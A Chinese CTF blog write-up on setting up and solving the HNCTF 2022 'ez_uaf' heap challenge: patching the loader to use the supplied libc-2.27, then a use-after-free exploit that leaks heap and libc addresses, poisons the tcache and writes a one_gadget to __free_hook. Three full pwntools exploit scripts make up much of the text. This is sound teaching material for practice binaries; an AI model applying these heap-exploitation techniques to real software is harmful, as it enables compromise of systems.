众所周知我以前还是一个PWN手,但是转密码后已经有4-5年没碰过PWN了
由于之前做PWN的时候还没开博客,所以以前学过的东西都忘得差不多了,
最近在做一些PWN的复健,于是顺便记录一下学习的心得,免得以后忘了又要重学
第0篇就先写一下怎么跑起一个PWN题和(适应自己风格的-)pwntools脚本的写法
既然讲跑PWN题就必须先有一道题目,我这里选择的是HNCTF 2022 WEEK4的ez_uaf ,没啥特别的原因,只是我刚好做到了这题。。。
看名字UAF就知道这是一道堆题,所以也可以顺便说一下一些UAF的打法
题目可从这里获得:https://www.nssctf.cn/problem/3105
本地调试环境搭建·
拿到题目后会有一个ez_uaf和libc-2.27.so,ez_uaf就是题目的二进制程序,libc-2.27.so就是远程环境使用的libc库,这些基础的PWN知识应该都知道的,不多说了
在本地中虽然可以直接把ez_uaf跑起来,但是有一个问题是本地的libc库和远程的不一样,这就会造成程序运行的一些机制会不一样,也就是打的结果会不一样,简单来说就是,用本地库调的话最后可能会白打
另外有时候即使本地库的版本和远程的一样,也可能有区别,所以最好的做法是直接用题目给的库来跑程序
本地&远程版本一致·
如果你本地的libc库和远程环境的版本一样,可以直接用LD_LIBRARY_PATH=.把程序跑起来
首先查看程序的链接情况
1 2 3 4 ✎ $ ldd ./ez_uaf linux-vdso.so.1 (0x00007ffdd9354000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f449c7d1000) /lib64/ld-linux-x86-64.so.2 (0x00007f449c9fd000)
这里需要链接的libc库名字叫做libc.so.6,所以首先需要把题目的libc-2.27.so换个名字
我推荐的做法是用软链接,在题目文件夹中运行
1 ln -s ./libc-2.27.so ./libc.so.6
当然也可以用绝对路径来链,不过如果脚本在同一目录跑的话问题不大
然后如果运气足够好的话,用
1 LD_LIBRARY_PATH=. ./ez_uaf
应该就可以把程序跑起来
本地&远程版本不一致·
一般来说不可能每次遇到的PWN题的库都和本地的版本一样,运气不会这么好
这里推荐我自己常用的一种换库方法
首先把libc库链接到程序中需要一个链接器,以我自己的Ubuntu 24.04为例,连接器就是
1 /lib64/ld-linux-x86-64.so.2 -> ../lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
一般链接器和libc库的版本是对应的,即对应版本的链接器才能链接对应版本的libc库
比如我本地的是libc-2.39的链接器,而远程的是libc-2.27,所以如果我直接用LD_LIBRARY_PATH=.去跑的话大概率会爆奇怪的错误
1 2 ✎ $ LD_LIBRARY_PATH=. ./ez_uaf Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!
解决方法是,把程序的链接器更换掉,换成libc-2.27的链接器
通常好一点的题目会把链接器和libc一起给你,但很显然这题不太好。。。
于是可以上网找一下有没现成的(反正我没找到),或者用上古方法 从源码编一个对应版本的libc,编的时候会顺便把链接器编好
这里如果你找不到的话可以直接用我编好的ld-2.27.so 来赣
然后拿到链接器ld-2.27.so后,还需要让程序用我这个链接器去链接libc库
通过上面的ldd输出可以知道程序认的链接器是/lib64/ld-linux-x86-64.so.2,这个值是程序编译时写死在程序里的,所以可以直接用Vim把它改掉
PS:或者用patchelf之类的工具也行,我个人嫌麻烦就直接Vim了
改之前首先备份一个,避免改坏
1 cp ./ez_uaf ./ez_uaf.bak
接着Vim打开,用/搜索/lib64/ld-linux-x86-64.so.2(理论上只有一个结果)
这里改的时候要满足一个规则,即改之前的长度和改之后的长度要一样,所以要改ld-2.27.so搞一个长度一样的路径
可以参考我的做法,先在题目路径把ld-2.27.so软连接成./lib64ld-linux-x86-64.so.2
1 ln -s ./ld-2.27.so ./lib64ld-linux-x86-64.so.2
然后把程序ez_uaf中的/lib64/ld-linux-x86-64.so.2改成./lib64ld-linux-x86-64.so.2即可
PS:因为用的是相对路径,所以也是只能在题目路径中跑exp,一般情况下够用了
改完后
最后再用
1 LD_LIBRARY_PATH=. ./ez_uaf
应该就可以运行了
最终搞完的目录结构是
1 2 3 4 5 6 7 8 . ├── exp.py ├── ez_uaf ├── ez_uaf.bak ├── ld-2.27.so ├── lib64ld-linux-x86-64.so.2 -> ./ld-2.27.so ├── libc-2.27.so └── libc.so.6 -> ./libc-2.27.so
如果用pwntools运行的话,需要在process那把LD_LIBRARY_PATH加到环境变量
参考代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *from time import sleepcontext.log_level = 'debug' context.terminal = ['wt.exe' , 'bash' , '-c' ] LOCAL = True if LOCAL: env = {'LD_LIBRARY_PATH' : '.' } r = process('./ez_uaf' , env=env) gdb.attach(r, gdbscript='' ) input ('Waiting GDB...' ) else : r = remote('node5.anna.nssctf.cn' , 22590 ) r.interactive() r.close()
PS:因为我实在wsl里运行的,所以还需要加上
1 context.terminal = ['wt.exe' , 'bash' , '-c' ]
不然不能在新窗口中弹出gdb
PPS:理论上如果用gdb打开的话,直接在gdb里面打
1 set environment LD_LIBRARY_PATH=.
就可以跑,但实际试过不行,原因可能是这句相当于在shell中运行
1 export LD_LIBRARY_PATH=.
因为我shell中的程序不是用libc-2.27,所以就炸了
ez_uaf·
接下来稍微讲一下这题的做法
一般都是三板斧
找任意读,泄露程序基址、栈基址、堆基址、libc基址等信息
找任意写,找到能执行的地方劫持控制流,把rop或者one_gadget写进去然后执行
如果NX没开的话可以找任意执行,写shellcode
漏洞点·
在delete函数中,对name和content的堆块free后没有把指针设为0,造成UAF漏洞
PS:我上图是修过结构体的,大概意思懂即可
或者可以在IDA的Local Types中右键 -> Add type -> C syntax -> 把下面的粘进去
1 2 3 4 5 6 7 8 struct Chunk { char *name; void *padding; char *contant; int size; int alive; };
然后把heaplist类型改成Chunk *heaplist[16],F5刷新
这些应该是逆向手的活,不归我教(
攻击思路·
大概的攻击思路是
通过UAF可以在delete后,通过show函数泄露堆的基址heap_base
通过把堆块弄到unsorted bin中可以泄露main_arena的地址,然后泄露libc的基址libc_base
泄露heap_base和libc_base后,可以用UAF改bins中堆块的连接关系,修改某个堆块的content地址为malloc_hook或者free_hook
结合edit函数在malloc_hook或者free_hook上写one_gadget
调用malloc或free就可以get shell
Part.1 泄露heap_base·
泄露heap_base是相对简单的,因为堆块被free后在*bin中是以链表的形式存储,所以就会在堆块中存储上一个和下一个堆块的地址(或者如果没有的话就存0,表示NULL)
而通过show的UAF可以泄露name和content堆块的内容,也就可以在free构造*bin中的链后泄露堆地址
其中以name的堆块为例,这个堆块大小固定是0x30,在libc-2.27中被free后会被放到tcachebin中
而tcachebin中的堆块以单链表的形式存储,所以在free掉两个堆块后就可以构造
1 chunk(2) -> chunk(1) -> NULL
这样在通过chunk(2)的FD指针就可以泄露chunk(1)的地址,然后计算出heap_base
PS:至于为什么不搞chunk(1)的BK指针,是因为puts时前面FD指针的0会截断输出,拿不到
Part.2 泄露libc_base·
泄露libc_base稍微复杂一点,如果要在堆上摸到libc库的地址的话,需要通过Unsorted Bin Attack
大概意思是,由于unsortedbin是以循环双链表的形式存储,不像单链表那样可以快速地找到链头
所以会有一个叫arena的东西(或者主线程中叫main_arena),arena会被当做一个假的chunk存放在unsortedbin中,好像是为了方便内存的管理,有空再研究研究(挖坑
这样的话,通过arena可以找到unsortedbin中的堆块
由于unsortedbin是双向循环链表,所以反过来想,通过unsortedbin上的堆块也可以拿到arena的地址,而arena是libc上的结构体,也就相当于泄露了libc_base
PS:如果可以不把arena放在unsortedbin中的话,不就可以避免libc_base泄露了,为啥一定要放进去也是原理未明
于是接下来的问题是,怎么把堆块分配到unsortedbin中,首先看一下64位机器中各个bin的大小(GPT说的,32位机器的话好像是砍半)
根据libc-2.27的机制,在free后好像是会先把堆块放到tcachebin,如果tcachebin被塞满了或者这个堆块的大小超过了tcachebin限制的堆块大小(1032字节),就会分配到unsortedbin,然后后续再分配到其他bin中
所以这里就有两种方法
通过多次add和delete把tcachebin填满,然后再次delete后就会分配到unsortedbin,一般tcachebin的大小是7,那么就是delete第8个的时候就会到unsortedbin
不过这个方法会有点麻烦,首先如果题目有add或delete操作次数限制的话就不能这样搞,其次是前面塞到tcachebin中的堆块也不太好管理
通过delete大小为0x420及以上的堆块,直接让它放到unsortedbin中
缺点是如果malloc时有堆块大小限制的话就没用,这题限制的大小是0x500,所以可以这样搞
因为题目中name和content是分开的两个区块,所以可以把heap_base的泄露合在一起做,就是
进行两次add,分配两个content大小为0x410的堆块,同时也会分配两个大小为0x30的name堆块
依次删除chunk(1)和chunk(2),对于name就会形成
1 name(2) -> name(1) -> NULL
的链,用Part.1的方法就可以泄露heap_base
对于content,理论上在两次delete后会形成跟上面那个图一样的
1 content(2) <-> content(1) <-> main_arena <-> content(2)
但实际上并不是,因为仔细观察的话会发现,content(2)其实是和top_chunk相邻的堆块
对这样的堆块free的时候,并不会扔进unsortedbin中,而是会被top_chunk吞掉
也就是实际形成的是只有content(1)和main_arena两个节点的循环双链表
1 content(1) <-> main_arena
但这也够了,因为在content(1)中已经有libc的地址,show一下就可以泄露libc_base
Part.3 构造任意写·
接下来需要构造一个任意写,我的方法是利用UAF修改tcachebin上的链
首先分配两个contnet大小和前面不一样的区块,比如我的是0x40,然后再依次delete,这样再tcachebin上就会形成
1 content(4) -> content(3) -> NULL
这是如果用UAF把content(4)的FD指针改成想要写的地址addr,那么就是
这是只要再分配两个0x40的堆块,第二个就会落到addr中,实现堆上的任意写
PS:好像是因为tcachebin中没有检查机制才能这样干,不然还要在写的地方构造堆块头
于是接着就可以随便找个堆块覆写里面content的地址,然后调用edit实现任意写
我的做法是,在exp的开头首先add一个堆块chunk(0),然后去覆写里面content的地址
当然这样会多add一个堆块,但是容易理解一点,反正题目给的次数也足够多
Part.4 free_hook写one_gadget·
最后的问题是,到底要写哪
因为目前不能泄露程序的基址,所以肯定不能覆写返回值
而在堆题中有两个很方便的地方叫malloc_hook和free_hook,这两个地方都在libc中
大概原理是,在调用malloc或者free前,malloc_hook或free_hook上有东西的话,会先调用malloc_hook或free_hook指向的地址的内容
1 2 3 4 5 6 7 from pwn import *libc = ELF('libc-2.27.so' ) libc_malloc_hook = libc_base + libc.symbols['__malloc_hook' ] libc_free_hook = libc_base + libc.symbols['__free_hook' ] print (f'{hex (libc_malloc_hook) = } ' )print (f'{hex (libc_free_hook) = } ' )
至于要写啥,由于*_hook上只能写一个地址,所以就是one_gadget 了
Exp·
Exp.1·
首先给一个正常的exp,就是按照上面所说流程写的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import *from time import sleepcontext.log_level = 'debug' context.terminal = ['wt.exe' , 'bash' , '-c' ] T = 0.2 LOCAL = True if LOCAL: env = {'LD_LIBRARY_PATH' : '.' } r = process('./ez_uaf' , env=env) gdb.attach(r, gdbscript='' ) input ('Waiting GDB...' ) else : r = remote('node5.anna.nssctf.cn' , 22590 ) def add (size, name, content ): r.sendlineafter(b'Choice:' , b'1' ) r.sendafter(b'Size:' , str (size).encode()) r.sendafter(b'Name:' , name) r.sendafter(b'Content:' , content) sleep(T) def delete (idx ): r.sendlineafter(b'Choice:' , b'2' ) r.sendlineafter(b'Input your idx:' , str (idx).encode()) sleep(T) def show (idx ): r.sendlineafter(b'Choice:' , b'3' ) r.sendlineafter(b'Input your idx:\n' , str (idx).encode()) sleep(T) name = r.recvline() content = r.recvline() return {'n' : name, 'c' : content} def edit (idx, content ): r.sendlineafter(b'Choice:' , b'4' ) r.sendlineafter(b'Input your idx:' , str (idx).encode()) r.send(content) sleep(T) add(0x8 , b'aaa' , b'aaaaa' ) add(0x410 , b'bbb' , b'bbbbb' ) add(0x410 , b'ccc' , b'ccccc' ) delete(1 ) delete(2 ) heap_base = u64(show(2 )['n' ].split(b'\n' )[0 ].ljust(8 , b'\x00' )) - 0x2b0 print (f'{hex (heap_base) = } ' )libc_base = u64(show(1 )['c' ].split(b'\n' )[0 ].ljust(8 , b'\x00' )) - 0x3ebca0 print (f'{hex (libc_base) = } ' )add(0x40 , b'ddd' , b'ddddd' ) add(0x40 , b'eee' , b'eeeee' ) delete(3 ) delete(4 ) edit(4 , p64(heap_base + 0x250 )) libc = ELF('libc-2.27.so' ) libc_free_hook = libc_base + libc.symbols['__free_hook' ] print (f'{hex (libc_free_hook) = } ' )''' 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv ''' libc_ogg = libc_base + 0x4f302 ''' +0250 0x55cdc6fd5250 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 │........│1.......│ +0260 0x55cdc6fd5260 61 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 │aaa.....│........│ +0270 0x55cdc6fd5270 90 52 fd c6 cd 55 00 00 08 00 00 00 01 00 00 00 │.R...U..│........│ +0280 0x55cdc6fd5280 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ +0290 0x55cdc6fd5290 61 61 61 61 61 00 00 00 00 00 00 00 00 00 00 00 │aaaaa...│........│ ''' add(0x40 , b'fff' , b'fffff' ) add(0x40 , b'aaa' , p64(0 ) + p64(0x31 ) + b'pwn by Tover....' + p64(libc_free_hook) + p32(0x8 ) + p32(1 )) input ('> pwn' )edit(0 , p64(libc_ogg)) delete(0 ) r.interactive() r.close()
gdb自动化·
然后最近我发现在gdb.attach调起gdb的时候带上api=True的话,就可以用pwntools操纵gdb,实现自动化调试,就不用每次gdb都输入重复的命令来调试了,可以参考pwntools的文档
PS:但是用这个api的话好像堆会解错,比如vmmp就看不到堆,heap命令也挂了
下面给一份不太正常的exp来参考参考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from pwn import *from time import sleepcontext.log_level = 'debug' context.terminal = ['wt.exe' , 'bash' , '-c' ] T = 0.2 LOCAL = True AUTOGDB = True if LOCAL: env = {'LD_LIBRARY_PATH' : '.' } r = process('./ez_uaf' , env=env) if AUTOGDB: gid, g = gdb.attach(r, api=True , gdbscript='' ) sleep(1 ) AUTOGDB and g.execute('c' ) and sleep(T) else : gdb.attach(r, gdbscript='' ) input ('Waiting GDB...' ) else : AUTOGDB = False r = remote('node5.anna.nssctf.cn' , 22590 ) def add (size, name, content ): r.sendlineafter(b'Choice:' , b'1' ) r.sendafter(b'Size:' , str (size).encode()) r.sendafter(b'Name:' , name) r.sendafter(b'Content:' , content) sleep(T) def delete (idx ): r.sendlineafter(b'Choice:' , b'2' ) r.sendlineafter(b'Input your idx:' , str (idx).encode()) sleep(T) def show (idx ): r.sendlineafter(b'Choice:' , b'3' ) r.sendlineafter(b'Input your idx:\n' , str (idx).encode()) sleep(T) name = r.recvline() content = r.recvline() return {'n' : name, 'c' : content} def edit (idx, content ): r.sendlineafter(b'Choice:' , b'4' ) r.sendlineafter(b'Input your idx:' , str (idx).encode()) r.send(content) sleep(T) AUTOGDB and g.execute('p "leak heap_base"' ) and sleep(T) add(0x8 , b'aaa' , b'aaaaa' ) add(0x410 , b'bbb' , b'bbbbb' ) add(0x410 , b'ccc' , b'ccccc' ) ''' corrupted... AUTOGDB and g.execute('set $heap_base=$base("heap")') and sleep(T) AUTOGDB and g.execute('hexdump $heap_base') and sleep(T) ''' AUTOGDB and g.execute('hexdump *(size_t*)$rebase(0x4060) 4096' ) and sleep(T) delete(1 ) delete(2 ) heap_base = u64(show(2 )['n' ].split(b'\n' )[0 ].ljust(8 , b'\x00' )) - 0x2b0 print (f'{hex (heap_base) = } ' )AUTOGDB and g.execute('p "leak libc_base"' ) and sleep(T) AUTOGDB and g.execute('hexdump %s 4096' % hex (heap_base)) and sleep(T) AUTOGDB and g.execute('bins' ) and sleep(T) AUTOGDB and g.execute('x/16gx $rebase(0x4060)' ) and sleep(T) libc_base = u64(show(1 )['c' ].split(b'\n' )[0 ].ljust(8 , b'\x00' )) - 0x3ebca0 print (f'{hex (libc_base) = } ' )AUTOGDB and g.execute('p "random write"' ) and sleep(T) add(0x40 , b'ddd' , b'ddddd' ) add(0x40 , b'eee' , b'eeeee' ) delete(3 ) delete(4 ) edit(4 , p64(heap_base + 0x250 )) AUTOGDB and g.execute('hexdump %s 4096' % hex (heap_base)) and sleep(T) AUTOGDB and g.execute('bins' ) and sleep(T) libc = ELF('libc-2.27.so' ) libc_free_hook = libc_base + libc.symbols['__free_hook' ] print (f'{hex (libc_free_hook) = } ' )''' 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv ''' libc_ogg = libc_base + 0x4f302 ''' +0250 0x55cdc6fd5250 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 │........│1.......│ +0260 0x55cdc6fd5260 61 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 │aaa.....│........│ +0270 0x55cdc6fd5270 90 52 fd c6 cd 55 00 00 08 00 00 00 01 00 00 00 │.R...U..│........│ +0280 0x55cdc6fd5280 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ +0290 0x55cdc6fd5290 61 61 61 61 61 00 00 00 00 00 00 00 00 00 00 00 │aaaaa...│........│ ''' AUTOGDB and g.execute('p "write ogg to free hook"' ) and sleep(T) add(0x40 , b'fff' , b'fffff' ) AUTOGDB and g.execute('bins' ) and sleep(T) add(0x40 , b'aaa' , p64(0 ) + p64(0x31 ) + b'pwn by Tover....' + p64(libc_free_hook) + p32(0x8 ) + p32(1 )) AUTOGDB and g.execute('hexdump %s 256' % hex (heap_base + 0x250 )) and sleep(T) AUTOGDB and g.execute('x/16gx $rebase(0x4060)' ) and sleep(T) AUTOGDB and g.execute('x/gx %s' % hex (libc_free_hook)) and sleep(T) input ('> pwn' )AUTOGDB and g.execute('p "pwn"' ) and sleep(T) edit(0 , p64(libc_ogg)) delete(0 ) r.interactive() r.close()
Exp.2·
上面也说了可以通过塞满tcachebin泄露libc_base
这里也给一份参考代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *from time import sleepcontext.terminal = ['wt.exe' , 'bash' , '-c' ] T = 0.2 LOCAL = True if LOCAL: env = {'LD_LIBRARY_PATH' : '.' } r = process('./ez_uaf' , env=env) gdb.attach(r, gdbscript='' ) input ('Waiting GDB...' ) else : r = remote('node5.anna.nssctf.cn' , 22590 ) def add (size, name, content ): r.sendlineafter(b'Choice:' , b'1' ) r.sendafter(b'Size:' , str (size).encode()) r.sendafter(b'Name:' , name) r.sendafter(b'Content:' , content) sleep(T) def delete (idx ): r.sendlineafter(b'Choice:' , b'2' ) r.sendlineafter(b'Input your idx:' , str (idx).encode()) sleep(T) def show (idx ): r.sendlineafter(b'Choice:' , b'3' ) r.sendlineafter(b'Input your idx:\n' , str (idx).encode()) sleep(T) return r.recvline() def edit (idx, content ): r.sendlineafter(b'Choice:' , b'4' ) r.sendlineafter(b'Input your idx:' , str (idx).encode()) r.send(content) sleep(T) add(0x30 , b'aaa' , b'aaaaa' ) add(0x30 , b'bbb' , b'bbbbb' ) add(0x30 , b'ccc' , b'ccccc' ) delete(0 ) delete(1 ) heap_base = u64(show(1 ).split(b'\n' )[0 ].ljust(8 , b'\x00' )) - 0x260 print (f'{hex (heap_base) = } ' )for i in range (9 ): add(0x100 , str (i).encode() * 3 , str (i).encode() * 5 ) for i in range (9 ): delete(3 + i) libc_base = u64(show(10 ).split(b'\n' )[0 ].ljust(8 , b'\x00' )) - 0x3ebca0 print (f'{hex (libc_base) = } ' )add(0x40 , b'ddd' , b'bbbbb' ) add(0x40 , b'eee' , b'ccccc' ) delete(12 ) delete(13 ) edit(13 , p64(heap_base + 0x330 )) add(0x40 , b'fff' , b'fffff' ) ''' +00e0 0x555c4ece0330 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 +00f0 0x555c4ece0340 63 63 63 00 00 00 00 00 00 00 00 00 00 00 00 00 +0100 0x555c4ece0350 70 03 ce 4e 5c 55 00 00 30 00 00 00 01 00 00 00 +0110 0x555c4ece0360 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 +0120 0x555c4ece0370 63 63 63 63 63 00 00 00 00 00 00 00 00 00 00 00 ''' libc = ELF('libc-2.27.so' ) libc_free_hook = libc_base + libc.symbols['__free_hook' ] print (f'{hex (libc_free_hook) = } ' )''' 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv ''' libc_ogg = libc_base + 0x4f302 add(0x40 , b'eee' , p64(0 ) + p64(0x31 ) + b'pwn by Tover....' + p64(libc_free_hook) + p32(0x30 ) + p32(1 )) edit(2 , p64(libc_ogg)) input ('> hook' )delete(2 ) r.interactive() r.close()